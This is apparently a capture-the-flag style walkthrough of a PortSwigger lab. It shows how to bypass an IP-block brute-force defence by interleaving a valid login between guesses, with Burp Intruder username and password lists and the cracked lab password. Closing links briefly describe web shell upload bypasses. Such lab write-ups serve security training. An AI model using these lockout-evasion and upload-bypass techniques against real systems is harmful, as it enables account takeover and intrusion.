On this page
Broken Brute-Force Protection, IP Block
Lab
Broken brute-force protection, IP block · Practitioner
Solution
Given
This lab is vulnerable due to a logic flaw in its password brute-force protection. To solve the lab, brute-force the victim's password, then log in and access their account page.
Your credentials: wiener:peter
Victim's username: carlos
Candidate passwords
Analyzing the task
We have a site vulnerable to brute-force, protection — IP block. We've been given valid creds for access, and there's a username to brute-force the password for.
Recon
Let's look at how the login function works on the site:
POST /login
username=carlos&password=test
<p class=is-warning>Incorrect password</p>
Made 2 more attempts. On the third:
<p class=is-warning>You have made too many incorrect login attempts. Please try again in 1 minute(s).</p>
Let's check the server's behavior if we make 2 failed attempts and then log in successfully with wiener / peter. Drop 2 requests into Repeater: one for user carlos, the other for wiener.
We do 2 guesses — all ok, send the login for wiener — all ok. We do 2 more guesses — all ok, no block.
Now we have an implementation plan: 2 password guess attempts, then a successful login — and repeat until we've checked all possible passwords.
Let's prepare 2 lists in any editor. Into the first we'll put all the passwords from the provided list (100). In the second we'll sequentially add carlos, carlos, carlos, wiener. We'll load these 2 lists into Intruder, so we need them to match. So at the wiener position in the second list, in the first we need to insert his actual password — peter. The lists end up looking like:
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
And the passwords:
123456
password
12345678
peter
qwerty
123456789
12345
peter
1234
111111
1234567
peter
dragon
123123
baseball
peter
abc123
football
monkey
peter
letmein
shadow
master
peter
666666
qwertyuiop
123321
peter
mustang
1234567890
michael
peter
654321
superman
1qaz2wsx
peter
7777777
121212
000000
peter
qazwsx
123qwe
killer
peter
trustno1
jordan
jennifer
peter
zxcvbnm
asdfgh
hunter
peter
buster
soccer
harley
peter
batman
andrew
tigger
peter
sunshine
iloveyou
2000
peter
charlie
robert
thomas
peter
hockey
ranger
daniel
peter
starwars
klaster
112233
peter
george
computer
michelle
peter
jessica
pepper
1111
peter
zxcvbn
555555
11111111
peter
131313
freedom
777777
peter
pass
maggie
159753
peter
aaaaaa
ginger
princess
peter
joshua
cheese
amanda
peter
summer
love
ashley
peter
nicole
chelsea
biteme
peter
matthew
access
yankees
peter
987654321
dallas
austin
peter
thunder
taylor
matrix
peter
mobilemail
mom
monitor
peter
monitoring
montana
moon
peter
moscow
That didn't work :) I made 3 guess attempts in a row here — need to redo: 2 attempts, then a successful login. Let's fix the lists.
But the block still happens…
Ah, damn, I need to set in the settings that 1 request is sent at a time, without parallelization, that's why we kept getting blocked — we need to send requests sequentially, one after another. And I also needed to fix request #0, since it was going out with a wrong password and breaking our attack flow (we ended up in the block).
Let's sort the attack results by response code — 302. We find the payload with carlos — carlos / 121212.
Lab solved.
More in this category
Web Shell Upload via Extension Blacklist Bypass (PortSwigger Lab)
.php is blacklisted, but .htaccess uploads without complaint — we slip our own Apache config in and make the server execute shell.bug as PHP.
Web Shell Upload via Obfuscated File Extension (PortSwigger Lab)
Extension blacklist rejects .php and a double-extension shell.php.jpg is served as an image — a null byte in shell.php%00.jpg bypasses both checks.
Remote Code Execution via Web Shell Upload (PortSwigger Lab)
Avatar upload has no validation — drop a PHP web shell and read /home/carlos/secret.